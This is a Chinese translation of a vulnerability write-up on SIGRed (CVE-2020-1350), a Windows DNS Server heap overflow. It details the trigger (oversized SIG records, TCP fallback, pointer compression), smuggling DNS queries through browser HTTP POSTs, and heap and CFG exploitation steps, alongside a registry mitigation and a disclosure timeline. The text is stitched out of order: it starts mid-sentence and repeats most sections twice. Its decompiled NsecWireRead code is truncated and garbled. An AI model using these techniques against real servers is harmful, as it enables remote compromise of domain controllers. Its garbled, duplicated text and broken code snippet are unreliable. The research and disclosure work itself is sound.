为了将尽可能多的信息压缩到512字节中,可以压缩DNS名称。因此,响应的DNS名称被编码为0xc0 0x0c,其中的c0部分设置了两个最高有效位,表示接下来的6+8位是指向消息中较早位置的指针。在这种情况下,它指向数据包中紧靠DNS标头的位置12(=0x0c)。

这样一来,在数据包开头处0x0c(12)偏移量的内容正是research.checkpoint.com。

在这种压缩形式中,指针指向编码字符串的开头。在DNS中,字符串被编码为一个(

(

10.png

因此,我们可以使用0x0c魔术字节从数据包中引用字符串。我们再次检查刚刚的公式:

[Name_PacketNameToCountNameEx result] + [0x14] + [The Signature field’s length (rdi–rax)]

通过对Name_PacketNameToCountNameEx进行逆向,可以确认我们上述描述的行为。Name_PacketNameToCountNameEx的作用是在考虑指针压缩的情况下计算名称字段的大小。当仅用两个字节表示分配时,如果能有一个允许我们大量增加分配大小的原语,就正是我们所需要的。

因此,我们可以在SIG Singer的Name字段中使用指针压缩。但是,只需要将0xc00c指定为签名者的名称就不会引起溢出,因为查询中已经存在要查询的域名,并且会从分配的值中减去这部分开销的大小。但是,0xc00d呢?我们唯一需要满足的限制条件是保证编码字符串有效(以0x0000结尾),这一点我们可以轻松实现,因为我们有一个没有任何限制的字段——签名值。对于域名41414141.fun,0xc00d指向域名的第一个字符(4)。然后,将该字符的值作为未压缩字符串的大小(4表示0x34(52))。这个未压缩字符串的大小再加上我们可以在签名字段包含的最大数据量(65535,具体取决于原始查询)之和可以大于65535字节,从而导致溢出。

我们使用WinDBG对dns.exe进行测试:

11.png

出现了崩溃!

在这里,似乎是由于试图将值写入未映射的内存而导致崩溃,但是我们可以尝试覆盖一些有意义的值。

有关于dns.exe的先前漏洞利用可以参考:https://blog.skullsecurity.org/2011/a-deeper-look-at-ms11-058

0x06 从浏览器触发

我们知道该漏洞可以由局域网内的恶意参与者触发。但是,我们还希望探究是否可以在没有局域网访问权限的情况下,远程触发该漏洞。

在HTTP中传输DNS

到现在为止,我们知道可以通过TCP协议传输DNS,并且Windows DNS服务器支持该连接类型。我们还熟悉基于TCP的DNS结构,以防万一,我们做一个简短的回顾。

12.png

考虑以下标准HTTP Payload:

0000   50 4f 53 54 20 2f 70 77 6e 20 48 54 54 50 2f 31   POST /pwn HTTP/1
0010   2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d   .1..Accept: */*.
0020   0a 52 65 66 65 72 65 72 3a 20 68 74 74 70 3a 2f   .Referer: http:/

即使这是HTTP Payload,将其发送到目标DNS服务器的53端口,也会导致Windows DNS服务器将这段Payload解析为DNS查询。它使用以下结构进行操作:

0000   50 4f 53 54 20 2f 70 77 6e 20 48 54 54 50 2f 31   POST /pwn HTTP/1
0010   2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d   .1..Accept: */*.
0020   0a 52 65 66 65 72 65 72 3a 20 68 74 74 70 3a 2f   .Referer: http:/
Message Length: 20559 (0x504f)
Transaction ID: 0x5354
Flags: 0x202f
Questions: 28791 (0x7077)
Answer RRs: 28192 (0x6e20)
Authority RRs: 18516 (0x4854)
Additional RRs: 21584 (0x5450)
Queries: [...]

幸运的是,Windows DNS服务器同时支持RFC 7766的“Connection Reuse”和“Pipelining”,这意味着我们可以在单个TCP会话上发出多个查询,而无需等待回答。

为什么这很重要?

当受害者访问我们控制的网站时,我们可以使用JavaScript从浏览器向DNS服务器发出POST请求。但是,如上所示,POST请求会以我们无法控制的方式进行解析。

但是,我们可以通过将包含二进制数据的HTTP POST请求发送到目标DNS服务器(https://target-dns:53/),从而在POST数据中包含另一个“偷渡的”DNS查询,从而滥用“Connection Reuse”和“Pipelining”功能。

我们的HTTP Payload包含以下内容:

1、不受控制的HTTP请求标头(User-Agent、Referer等);

2、填充内容,以使POST数据中的第一个DNS查询具有适当的长度(0x504f);

3、POST数据中“偷渡的”DNS查询。

使用WireShark查看在单个TCP会话中的多个查询:

13.png

演示视频:https://youtu.be/PUlMmhD5it8

实际上,大多数流行的浏览器(例如Google Chrome和Mozilla Firefox)都不允许HTTP请求访问53端口,因此只能在有限的一组Web浏览器中利用该漏洞,例如Internet Explorer和Microsoft Edge(非基于Chromium的浏览器)

0x07 变体分析

出现此漏洞的主要原因是由于RR_AllocateEx需要16位的size参数。通常,我们可以假设单个DNS消息的大小不会超过64KB,因此这一行为通常不会出现问题。但是,正如我们刚刚所看到的,如果在计算缓冲区的大小时考虑了Name_PacketNameToCountNameEx的结果,那么这种假设就不再成立。发生这种情况是因为Name_PacketNameToCountNameEx函数计算的是未压缩名称的有效大小,而不是其在数据包中表示该名称所用的字节数。

要找到这个漏洞的其他变体,我们需要找到一个满足以下条件的函数:

1、使用可变大小调用RR_AllocateEx,而不是一个恒定值;

2、存在对Name_PacketNameToCountNameEx的调用,并且其结果用于计算传递给RR_AllocateEx的大小。

3、传递给RR_AllocateEx的值是使用16位或更大范围内的值计算的。

在dns.exe中,其他满足上述三个条件的函数就只有NsecWireRead了。通过反编译函数,我们得到以下简化后的代码片段:

RESOURCE_RECORD* NsecWireRead(PARSED_WIRE_RECORD *pParsedWireRecord, DNS_PACKET *pPacket, BYTE *pRecordData, WORD wRecordDataLength)
{
 DNS_RESOURCE_RECORD *pResourceRecord;
 unsigned BYTE *pCurrentPos;
 unsigned int dwRemainingDataLength;
 unsigned int dwBytesRead;
 unsigned int dwAllocationSize;
 DNS_COUNT_NAME countName;
 pResourceRecord = NULL;
 pCurrentPos = Name_PacketNameToCountNameEx(&countName, pPacket, pRecordData, pRecordData + wRecordDataLength, 0);
 if (pCurrentPos)
 {
   if
    (pCurrentPos >= pRecordData                                         // <-- Check #1 - Bounds check
     && pCurrentPos - pRecordData <= 0xFFFFFFFF                         // = (unsigned int)(pCurrentPos - pRecordData)) // = dwBytesRead            // <-- Check #4 - Integer Overflow check (32 bits)
          && dwAllocationSize data + pResourceRecord->data->bOffset + 2, pCurrentPos, dwRemainingDataLength);
       }
     }
   }
 }
 return pResourceRecord;
}

在这个函数中,包含许多安全检查。其中的一个检查(#5)是16位溢出检查,可以防止该函数的漏洞利用变体。在这个函数中,包含比dns.exe其他函数更多的安全检查,我们猜测Microsoft是否已经知道并且修复了这一漏洞,但他们的修复是不完全的,仅仅考虑了这一个函数。

正如之前所分析的,Microsoft在两个不同的模块中实现了DNS客户端和DNS服务器。尽管我们的漏洞影响DNS服务器,但还是想看看它是否同样也影响DNS客户端。

dnsapi.dll中Sig_RecordRead的反编译片段:

14.png

似乎与dns.exe!SigWireRead不同,dnsapi.dll!Sig_RecordRead确实在Sig_RecordRead+D0处验证了传递给dnsapi.dll!Dns_AllocateRecordEx的值是否小于0xFFFF字节,从而防止了溢出。

在dnsapi.dll中不存在这一漏洞,并且两个模块之间的命名约定不太相同,这样的事实让我们相信Microsoft维护了DNS服务器和DNS客户端这两个完全不同的代码库,并且对于漏洞补丁没有在两个代码库之间同步。

0x08 漏洞利用方法

根据Microsoft的要求,我们决定暂不发布有关漏洞利用原语的信息,以便为用户提供足够的时间来修复DNS服务器。但是,我们讨论了针对Windows Server 2012 R2的漏洞利用方法。我们认为这一方法也同样适用于其他版本的Windows Server。

dns.exe二进制文件是使用控制流防护(CFG)编译的,这意味着,利用覆盖内存中的函数指针这一传统方式将无法利用漏洞。如果这个二进制文件没有使用CFG进行编译,那么漏洞利用就会非常简单,因为我们很早就遇到了这样的崩溃。

ntdll!LdrpValidateUserCallTarget崩溃:

15.png

如我们所见,我们在ntdll!LdrpValidateUserCallTarget的位置发生了崩溃。这是负责验证函数指针的函数,作为CFG的一部分。我们看到要验证的指针(rcx)是完全可控的,这意味着我们成功重写了函数指针。这里产生崩溃的原因在于,函数指针被用作全局位图表的索引,每个地址都有一个“允许/不允许”的位,并且我们的任意地址导致从表本身的未映射页面中进行读取。

为了绕过CFG并实现完整的远程代码执行,我们需要找到以下原语:“在哪里写”(精确地覆盖栈上的返回地址)、“信息泄露”(泄露内存地址,例如栈的地址)。

信息泄露

为了实现信息泄露,我们使用溢出来破坏仍在缓存中的DNS资源记录元数据。然后,当再次从缓存中查询时,我们可以泄露相邻的堆内存。

WinDNS的堆管理器

WinDNS使用Mem_Alloc函数来动态分配内存。该函数管理自己的内存池,以作为有效的缓存。其中,有4个内存池存储区(Memory Pool Buckets),用于不同的分配大小(最大为0x50、0x68、0x88、0xA0)。如果请求的分配大小大于0xA0字节,则默认为HeapAlloc,它使用本地Windows堆。堆管理器会为内存池标头分配额外的0x10字节,其中的元数据包括缓冲区类型(已分配/可用)、指向下一个可用内存块的指针、用于调试检查的Cookie等。堆管理器以单链表的方式实现分配表,这意味着块将按照与释放时相反的顺序进行分配(LIFO)。

在哪里写

为了实现“在哪里写”的原语,我们通过破坏块的标头(元数据)的方式,来破坏freelist,从而实现对Windows堆管理器的攻击。

在freelist损坏后,我们下次在尝试分配合适大小的任何内容时,内存分配器都会为我们分配所选择的内存区域作为可写的区域,这也就实现了我们之前所说的利用原语。

要绕过CFG,我们希望该内存区域位于栈上。并且由于前面的信息泄露,我们已经知道了其位置。一旦在栈上具有写入的功能,就可以将返回地址覆盖为我们要执行的地址,从而有效地劫持了执行流。

值得一提的是,默认情况下,DNS服务会在前3次崩溃时重新启动,这样也可以增加成功实现漏洞利用的概率。

0x09 总结

目前,Microsoft已确认这一高危漏洞,并分配漏洞编号CVE-2020-1350。

我们认为,攻击者利用该漏洞的可能性非常高,因为我们在内部发现了利用该漏洞所需的所有原语。由于时间所限,我们没有对漏洞利用进行更深入的研究,包括探究如何将所有漏洞利用原语连接在一起等等,但我们相信,攻击者将有能力利用这个漏洞。而一旦成功利用该漏洞,将会产生严重影响,我们平时也经常发现未打补丁的Windows域环境,特别是域控。此外,一些互联网服务提供商(ISP)也可能已经在公共DNS服务器部署了WinDNS。

我们强烈建议用户修补受漏洞影响的WinDNS服务器,以防止攻击者利用此漏洞。

作为临时解决防范,在更新补丁前,可以将DNS消息(通过TCP协议)的最大长度设置为0xFF00,这样可以避免此漏洞风险。我们可以执行以下命令:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v "TcpReceivePacketSize" /t REG_DWORD /d 0xFF00 /f
net stop DNS && net start DNS

目前,Check Point IPS可以防范此类威胁:“Microsoft Windows DNS Server Remote Code Execution (CVE-2020-1350)”。

0x10 时间节点

2020年5月19日 向Microsoft提交漏洞报告。

2020年6月18日 Microsoft为该漏洞分配CVE-2020-1350。

2020年7月9日 Microsoft将该漏洞评估为高危漏洞,CVSS评分为10。

2020年7月14日 Microsoft发布了修复补丁。

0x11 参考资料

https://en.wikipedia.org/wiki/Domain_Name_System

https://blog.skullsecurity.org/2011/a-deeper-look-at-ms11-058

https://know.bishopfox.com/blog/2017/10/a-bug-has-no-name-multiple-heap-buffer-overflows-in-the-windows-dns-client

https://powerdns.org/hello-dns/basic.md.html

https://www.cloudflare.com/learning/dns/what-is-dns/

https://tools.ietf.org/html/rfc7766

https://tools.ietf.org/html/rfc5966

https://tools.ietf.org/html/rfc2535

非常感谢我的同事Eyal Itkin(@EyalItkin)和Omri Herscovici(@omriher)在这项研究中对我提供的帮助。

0x00 概述

DNS,通常被称为是“互联网的电话簿”,是一种将计算机主机名转换为IP地址的网络协议。由于它是互联网的核心组成部分之一,因此存在许多DNS服务器的解决方案和实现,但只有其中的少数几种方案正在被广泛应用。

Windows DNS服务器是Microsoft的实现方案,也是Windows域环境的必要组成部分。

SIGRed(CVE-2020-1350)是Windows DNS服务器中的一个严重漏洞,CVSS基本评分为10分,影响Windows Server 2003至2019版本,并且可能由恶意DNS响应触发漏洞。由于该服务通常以特权帐户(SYSTEM)运行,因此,如果攻击者成功利用该服务,则同样可以拿到域管理员权限,从而可以攻陷整个企业基础结构。

0x01 目标

我们的主要目标是发现漏洞,可以使攻击者攻陷Windows域环境,最好是在未经身份验证的前提下。此前,有多位独立安全研究人员和具有民族国家背景的研究团队都做过相关研究。目前大多数公开的资料和漏洞利用,都集中在Microsoft对SMB(EternalBlue)和RDP(BlueKeep)协议的实现上,因为这些协议同时影响服务器和终端。要获得域管理员特权,一种直接的方法是利用域控。因此,我们决定将研究重点放在Windows Server和域控上,去寻找一些鲜为人知的攻击面。接下来,我们进入到Windows DNS。

0x02 Windows DNS概述

域名系统(DNS)是构成TCP/IP行业标准协议组件之一,DNS客户端和DNS服务器共同为计算机和用户提供由计算机名称映射到IP地址的解析服务。

DNS主要使用UDP/53端口来服务于请求。DNS查询过程包括来自客户端的单个UDP请求,和来自服务器的单个UDP响应。

除了将名称转换为IP地址外,DNS还有其他用途。例如,邮件传输代理通过DNS查找最优的邮件服务器以传送电子邮件。MX记录提供域名到邮件交换服务器的映射,这样就可以额外增加一层,以提供容错和负载均衡的功能。我们可以在Wikipedia上找到可用DNS记录类型及其对应用途的列表。

由于本文的重点是漏洞分析,因此我们在此不再对DNS进行过多的介绍,大家可以参考其他位置了解有关DNS的更多信息。

目前,我们需要掌握的前置知识包括:

1、DNS通过UDP/TCP 53端口运行。

2、一条DNS消息(响应或查询)在UDP中限制为512字节,在TCP中限制为65535字节。

3、DNS本质上是分层和分散的。这意味着,当DNS服务器不知道要查询的结果时,会将查询转发到上层的DNS服务器。在最顶部,分布着位于全球范围的13台根DNS服务器。

在Windows中,DNS客户端和DNS服务器是在两个不同的模块中实现:

1、DNS客户端 - dnsapi.dll负责DNS解析。

2、DNS服务器 - dns.exe负责在安装了DNS角色的Windows Server上答复DNS查询。

我们的研究过程围绕着dns.exe模块来进行。

0x03 准备环境

我们的攻击面主要有两个场景:

1、DNS服务器在解析传入查询的方式中存在漏洞;

2、DNS服务器在解析转发查询的响应(答复)的方式中存在漏洞。

由于DNS查询的结构并不复杂,因此在第一种情况下发现漏洞的概率较小,所以我们决定将目标聚焦在为了转发查询而解析传入响应的函数。

如前所述,转发查询是在DNS体系结构中将不知道答案的查询转发到上层的DNS服务器。

但是,大多数环境中都会设置一些知名的DNS服务器,例如Google的8.8.8.8或Cloudflare的1.1.1.1,而这些服务器无法被攻击者控制。

这意味着,即使我们发现了在解析DNS响应的过程中存在漏洞,也需要以中间人的方式实现漏洞利用。显然,这还不够。

NS记录

NS代表”Name Server”,该记录表明哪个DNS服务器是域的授权(哪个服务器包含实际的DNS记录)。NS记录通常负责解析特定域的子域名。一个域通常具有多个NS记录,这些记录可以指示该域的主要名称服务器和备用名称服务器。

如果想要让目标Windows DNS服务器解析来自恶意DNS名称服务器的响应,可以执行以下操作:

1、将我们的域名(deadbeef.fun)的NS记录配置为指向我们的恶意DNS服务器(ns1.41414141.club)。

2、在潜在受害Windows DNS服务器上查询deadbeef.fun的NS记录。

3、权威服务器(8.8.8.8)知道答案,并回答deadbeef.fun的名称服务器是ns1.41414141.club。

4、潜在受害Windows DNS服务器处理并缓存此响应。

5、下次我们在查询deadbeef.fun的子域名时,潜在受害Windows DNS服务器还会查询ns1.41414141.club的响应,因为它是该域名的名称服务器。

在查询恶意服务器的DNS服务器上捕获的数据包:

1.png

0x04 CVE-2020-1350漏洞

函数:dns.exe!SigWireRead

漏洞类型:整数溢出,导致基于堆的缓冲区溢出

dns.exe为每种受支持的响应类型实现解析功能。

将Wire_CreateRecordFromWire: RRWireReadTable传递给RR_DispatchFunctionForType以确定处理函数:

2.png

RRWireReadTable和其支持的一些响应类型:

3.png

其中一种支持的响应类型是SIG查询。根据Wikipedia的说法,SIG查询是SIG(0)(RFC 2931)和TKEY(RFC 2930)中使用的签名记录。RFC 3755指定了RRSIG来替代DNSSEC内部使用的SIG。

我们使用Cutter,生成dns.exe!SigWireRead的反汇编,重点关注其中SIG响应类型的处理函数。

在Cutter中看到的dns.exe!SigWireRead的反汇编:

4.png

通过以下公式,计算传递给RR_AllocateEx(负责为“资源记录”分配内存的函数)的第一个参数:

[Name_PacketNameToCountNameEx result] + [0x14] + [The Signature field’s length (rdi–rax)]

签名字段的大小可能会有所不同,因为它是SIG响应中的主要Payload。

根据RFC 2535,查到SIG资源记录的结构:

5.png

如下图所示,RR_AllocateEx期望将其参数传递到16位寄存器中,因为它仅使用rdx的dx部分和rcx的cx部分。

这意味着,如果我们可以让上述公式计算的结果大于65535字节(16位整型的最大值),就将导致整型溢出,导致实际的分配比预期要小很多,有可能会导致基于堆的缓冲区覆盖。

RR_AllocateEx将其参数转换为16位值:

6.png

这个分配的内存地址随后会作为memcpy的目标缓冲区传递,从而导致基于堆的缓冲区溢出,这非常方便。

从RR_AllocateEx分配的缓冲区被传递给memcpy:

7.png

总而言之,通过发送包含较大SIG记录(大于64KB)的DNS响应,我们可以在较小的分配缓冲区上,引起一个大约64KB的受控堆缓冲区溢出。

0x05 触发漏洞

现在,我们已经可以让潜在受害DNS服务器查询我们的DNS服务器,从而将其转变为客户端。我们可以让潜在受害DNS服务器询问我们的恶意DNS服务器特定类型的查询,并以对应的恶意响应进行回答。

要触发该漏洞,只需让潜在受害DNS服务器向我们查询SIG记录,并回答包含较长签名(大于64KB)的SIG响应。但我们遗憾地发现,基于UDP的DNS大小限制为512字节(如果服务器支持EDNS0,则为4096字节)。无论如何,这不足以触发漏洞。

但是,如果服务器由于正当理由发送了大于4096字节的响应,会怎么样呢?例如,有一段比较长的TXT响应,或者可以解析为多个IP地址的主机名。

新的希望:DNS截断

根据DNS RFC 5966:

在没有使用EDNS0(DNS 0扩展机制)的情况下,如果需要发送超过512字节限制的UDP响应,服务器会截断响应,使其满足该大小限制,然后在响应头中设置TC标志。当客户端收到这样的响应时,TC标志会指示它使用TCP协议进行重试。

不错!所以说,我们可以在响应中设置TC(截断)标志,这将导致潜在受害Windows DNS服务器启动与恶意名称服务器的新TCP连接,并且可以传递大于4096字节的消息。但是,我们实际需要传递多大的消息?

根据DNS RFC 7766:

DNS客户端和服务器应该同时将两个8字节长度的字段以及该字段描述的消息传递到TCP层,以使所有数据能在单个TCP段中传输。

由于消息的前两个字节表示其长度,因此TCP上DNS消息的最大大小表示为16位,也就是限制在64KB以内。

通过TCP协议传递的DNS消息中,前两个字节表示消息的长度:

8.png

但是,即使一个长度为65535的消息,也不足以触发漏洞。因为消息中包含标头和原始查询。在计算传递给RR_AllocateEx的大小时,不会考虑这部分开销。

少即是多:DNS指针压缩

让我们再来看一个合法的DNS响应。为方便起见,我们选择了A类型的响应。

使用WireShark查看dig research.checkpoint.com A @8.8.8.8的响应:

9.png

我们可以看到,WireShark在响应的Name字段,将0xc00c字节直接转换为research.checkpoint.com。但这是为什么?

我们从powerdns.org找到了答案:

为了将尽可能多的信息压缩到512字节中,可以压缩DNS名称。因此,响应的DNS名称被编码为0xc0 0x0c,其中的c0部分设置了两个最高有效位,表示接下来的6+8位是指向消息中较早位置的指针。在这种情况下,它指向数据包中紧靠DNS标头的位置12(=0x0c)。

这样一来,在数据包开头处0x0c(12)偏移量的内容正是research.checkpoint.com。

在这种压缩形式中,指针指向编码字符串的开头。在DNS中,字符串被编码为一个(

(

10.png

因此,我们可以使用0x0c魔术字节从数据包中引用字符串。我们再次检查刚刚的公式:

[Name_PacketNameToCountNameEx result] + [0x14] + [The Signature field’s length (rdi–rax)]

通过对Name_PacketNameToCountNameEx进行逆向,可以确认我们上述描述的行为。Name_PacketNameToCountNameEx的作用是在考虑指针压缩的情况下计算名称字段的大小。当仅用两个字节表示分配时,如果能有一个允许我们大量增加分配大小的原语,就正是我们所需要的。

因此,我们可以在SIG Singer的Name字段中使用指针压缩。但是,只需要将0xc00c指定为签名者的名称就不会引起溢出,因为查询中已经存在要查询的域名,并且会从分配的值中减去这部分开销的大小。但是,0xc00d呢?我们唯一需要满足的限制条件是保证编码字符串有效(以0x0000结尾),这一点我们可以轻松实现,因为我们有一个没有任何限制的字段——签名值。对于域名41414141.fun,0xc00d指向域名的第一个字符(4)。然后,将该字符的值作为未压缩字符串的大小(4表示0x34(52))。这个未压缩字符串的大小再加上我们可以在签名字段包含的最大数据量(65535,具体取决于原始查询)之和可以大于65535字节,从而导致溢出。

我们使用WinDBG对dns.exe进行测试:

11.png

出现了崩溃!

在这里,似乎是由于试图将值写入未映射的内存而导致崩溃,但是我们可以尝试覆盖一些有意义的值。

有关于dns.exe的先前漏洞利用可以参考:https://blog.skullsecurity.org/2011/a-deeper-look-at-ms11-058

0x06 从浏览器触发

我们知道该漏洞可以由局域网内的恶意参与者触发。但是,我们还希望探究是否可以在没有局域网访问权限的情况下,远程触发该漏洞。

在HTTP中传输DNS

到现在为止,我们知道可以通过TCP协议传输DNS,并且Windows DNS服务器支持该连接类型。我们还熟悉基于TCP的DNS结构,以防万一,我们做一个简短的回顾。

12.png

考虑以下标准HTTP Payload:

0000   50 4f 53 54 20 2f 70 77 6e 20 48 54 54 50 2f 31   POST /pwn HTTP/1
0010   2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d   .1..Accept: */*.
0020   0a 52 65 66 65 72 65 72 3a 20 68 74 74 70 3a 2f   .Referer: http:/

即使这是HTTP Payload,将其发送到目标DNS服务器的53端口,也会导致Windows DNS服务器将这段Payload解析为DNS查询。它使用以下结构进行操作:

0000   50 4f 53 54 20 2f 70 77 6e 20 48 54 54 50 2f 31   POST /pwn HTTP/1
0010   2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d   .1..Accept: */*.
0020   0a 52 65 66 65 72 65 72 3a 20 68 74 74 70 3a 2f   .Referer: http:/
Message Length: 20559 (0x504f)
Transaction ID: 0x5354
Flags: 0x202f
Questions: 28791 (0x7077)
Answer RRs: 28192 (0x6e20)
Authority RRs: 18516 (0x4854)
Additional RRs: 21584 (0x5450)
Queries: [...]

幸运的是,Windows DNS服务器同时支持RFC 7766的“Connection Reuse”和“Pipelining”,这意味着我们可以在单个TCP会话上发出多个查询,而无需等待回答。

为什么这很重要?

当受害者访问我们控制的网站时,我们可以使用JavaScript从浏览器向DNS服务器发出POST请求。但是,如上所示,POST请求会以我们无法控制的方式进行解析。

但是,我们可以通过将包含二进制数据的HTTP POST请求发送到目标DNS服务器(https://target-dns:53/),从而在POST数据中包含另一个“偷渡的”DNS查询,从而滥用“Connection Reuse”和“Pipelining”功能。

我们的HTTP Payload包含以下内容:

1、不受控制的HTTP请求标头(User-Agent、Referer等);

2、填充内容,以使POST数据中的第一个DNS查询具有适当的长度(0x504f);

3、POST数据中“偷渡的”DNS查询。

使用WireShark查看在单个TCP会话中的多个查询:

13.png

演示视频:https://youtu.be/PUlMmhD5it8

实际上,大多数流行的浏览器(例如Google Chrome和Mozilla Firefox)都不允许HTTP请求访问53端口,因此只能在有限的一组Web浏览器中利用该漏洞,例如Internet Explorer和Microsoft Edge(非基于Chromium的浏览器)

0x07 变体分析

出现此漏洞的主要原因是由于RR_AllocateEx需要16位的size参数。通常,我们可以假设单个DNS消息的大小不会超过64KB,因此这一行为通常不会出现问题。但是,正如我们刚刚所看到的,如果在计算缓冲区的大小时考虑了Name_PacketNameToCountNameEx的结果,那么这种假设就不再成立。发生这种情况是因为Name_PacketNameToCountNameEx函数计算的是未压缩名称的有效大小,而不是其在数据包中表示该名称所用的字节数。

要找到这个漏洞的其他变体,我们需要找到一个满足以下条件的函数:

1、使用可变大小调用RR_AllocateEx,而不是一个恒定值;

2、存在对Name_PacketNameToCountNameEx的调用,并且其结果用于计算传递给RR_AllocateEx的大小。

3、传递给RR_AllocateEx的值是使用16位或更大范围内的值计算的。

在dns.exe中,其他满足上述三个条件的函数就只有NsecWireRead了。通过反编译函数,我们得到以下简化后的代码片段:

RESOURCE_RECORD* NsecWireRead(PARSED_WIRE_RECORD *pParsedWireRecord, DNS_PACKET *pPacket, BYTE *pRecordData, WORD wRecordDataLength)
{
 DNS_RESOURCE_RECORD *pResourceRecord;
 unsigned BYTE *pCurrentPos;
 unsigned int dwRemainingDataLength;
 unsigned int dwBytesRead;
 unsigned int dwAllocationSize;
 DNS_COUNT_NAME countName;
 pResourceRecord = NULL;
 pCurrentPos = Name_PacketNameToCountNameEx(&countName, pPacket, pRecordData, pRecordData + wRecordDataLength, 0);
 if (pCurrentPos)
 {
   if
    (pCurrentPos >= pRecordData                                         // <-- Check #1 - Bounds check
     && pCurrentPos - pRecordData <= 0xFFFFFFFF                         // = (unsigned int)(pCurrentPos - pRecordData)) // = dwBytesRead            // <-- Check #4 - Integer Overflow check (32 bits)
          && dwAllocationSize data + pResourceRecord->data->bOffset + 2, pCurrentPos, dwRemainingDataLength);
       }
     }
   }
 }
 return pResourceRecord;
}

在这个函数中,包含许多安全检查。其中的一个检查(#5)是16位溢出检查,可以防止该函数的漏洞利用变体。在这个函数中,包含比dns.exe其他函数更多的安全检查,我们猜测Microsoft是否已经知道并且修复了这一漏洞,但他们的修复是不完全的,仅仅考虑了这一个函数。

正如之前所分析的,Microsoft在两个不同的模块中实现了DNS客户端和DNS服务器。尽管我们的漏洞影响DNS服务器,但还是想看看它是否同样也影响DNS客户端。

dnsapi.dll中Sig_RecordRead的反编译片段:

14.png

似乎与dns.exe!SigWireRead不同,dnsapi.dll!Sig_RecordRead确实在Sig_RecordRead+D0处验证了传递给dnsapi.dll!Dns_AllocateRecordEx的值是否小于0xFFFF字节,从而防止了溢出。

在dnsapi.dll中不存在这一漏洞,并且两个模块之间的命名约定不太相同,这样的事实让我们相信Microsoft维护了DNS服务器和DNS客户端这两个完全不同的代码库,并且对于漏洞补丁没有在两个代码库之间同步。

0x08 漏洞利用方法

根据Microsoft的要求,我们决定暂不发布有关漏洞利用原语的信息,以便为用户提供足够的时间来修复DNS服务器。但是,我们讨论了针对Windows Server 2012 R2的漏洞利用方法。我们认为这一方法也同样适用于其他版本的Windows Server。

dns.exe二进制文件是使用控制流防护(CFG)编译的,这意味着,利用覆盖内存中的函数指针这一传统方式将无法利用漏洞。如果这个二进制文件没有使用CFG进行编译,那么漏洞利用就会非常简单,因为我们很早就遇到了这样的崩溃。

ntdll!LdrpValidateUserCallTarget崩溃:

15.png

如我们所见,我们在ntdll!LdrpValidateUserCallTarget的位置发生了崩溃。这是负责验证函数指针的函数,作为CFG的一部分。我们看到要验证的指针(rcx)是完全可控的,这意味着我们成功重写了函数指针。这里产生崩溃的原因在于,函数指针被用作全局位图表的索引,每个地址都有一个“允许/不允许”的位,并且我们的任意地址导致从表本身的未映射页面中进行读取。

为了绕过CFG并实现完整的远程代码执行,我们需要找到以下原语:“在哪里写”(精确地覆盖栈上的返回地址)、“信息泄露”(泄露内存地址,例如栈的地址)。

信息泄露

为了实现信息泄露,我们使用溢出来破坏仍在缓存中的DNS资源记录元数据。然后,当再次从缓存中查询时,我们可以泄露相邻的堆内存。

WinDNS的堆管理器

WinDNS使用Mem_Alloc函数来动态分配内存。该函数管理自己的内存池,以作为有效的缓存。其中,有4个内存池存储区(Memory Pool Buckets),用于不同的分配大小(最大为0x50、0x68、0x88、0xA0)。如果请求的分配大小大于0xA0字节,则默认为HeapAlloc,它使用本地Windows堆。堆管理器会为内存池标头分配额外的0x10字节,其中的元数据包括缓冲区类型(已分配/可用)、指向下一个可用内存块的指针、用于调试检查的Cookie等。堆管理器以单链表的方式实现分配表,这意味着块将按照与释放时相反的顺序进行分配(LIFO)。

在哪里写

为了实现“在哪里写”的原语,我们通过破坏块的标头(元数据)的方式,来破坏freelist,从而实现对Windows堆管理器的攻击。

在freelist损坏后,我们下次在尝试分配合适大小的任何内容时,内存分配器都会为我们分配所选择的内存区域作为可写的区域,这也就实现了我们之前所说的利用原语。

要绕过CFG,我们希望该内存区域位于栈上。并且由于前面的信息泄露,我们已经知道了其位置。一旦在栈上具有写入的功能,就可以将返回地址覆盖为我们要执行的地址,从而有效地劫持了执行流。

值得一提的是,默认情况下,DNS服务会在前3次崩溃时重新启动,这样也可以增加成功实现漏洞利用的概率。

0x09 总结

目前,Microsoft已确认这一高危漏洞,并分配漏洞编号CVE-2020-1350。

我们认为,攻击者利用该漏洞的可能性非常高,因为我们在内部发现了利用该漏洞所需的所有原语。由于时间所限,我们没有对漏洞利用进行更深入的研究,包括探究如何将所有漏洞利用原语连接在一起等等,但我们相信,攻击者将有能力利用这个漏洞。而一旦成功利用该漏洞,将会产生严重影响,我们平时也经常发现未打补丁的Windows域环境,特别是域控。此外,一些互联网服务提供商(ISP)也可能已经在公共DNS服务器部署了WinDNS。

我们强烈建议用户修补受漏洞影响的WinDNS服务器,以防止攻击者利用此漏洞。

作为临时解决防范,在更新补丁前,可以将DNS消息(通过TCP协议)的最大长度设置为0xFF00,这样可以避免此漏洞风险。我们可以执行以下命令:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v "TcpReceivePacketSize" /t REG_DWORD /d 0xFF00 /f
net stop DNS && net start DNS

目前,Check Point IPS可以防范此类威胁:“Microsoft Windows DNS Server Remote Code Execution (CVE-2020-1350)”。

0x10 时间节点

2020年5月19日 向Microsoft提交漏洞报告。

2020年6月18日 Microsoft为该漏洞分配CVE-2020-1350。

2020年7月9日 Microsoft将该漏洞评估为高危漏洞,CVSS评分为10。

2020年7月14日 Microsoft发布了修复补丁。

0x11 参考资料

https://en.wikipedia.org/wiki/Domain_Name_System

https://blog.skullsecurity.org/2011/a-deeper-look-at-ms11-058

https://know.bishopfox.com/blog/2017/10/a-bug-has-no-name-multiple-heap-buffer-overflows-in-the-windows-dns-client

https://powerdns.org/hello-dns/basic.md.html

https://www.cloudflare.com/learning/dns/what-is-dns/

https://tools.ietf.org/html/rfc7766

https://tools.ietf.org/html/rfc5966

https://tools.ietf.org/html/rfc2535

非常感谢我的同事Eyal Itkin(@EyalItkin)和Omri Herscovici(@omriher)在这项研究中对我提供的帮助。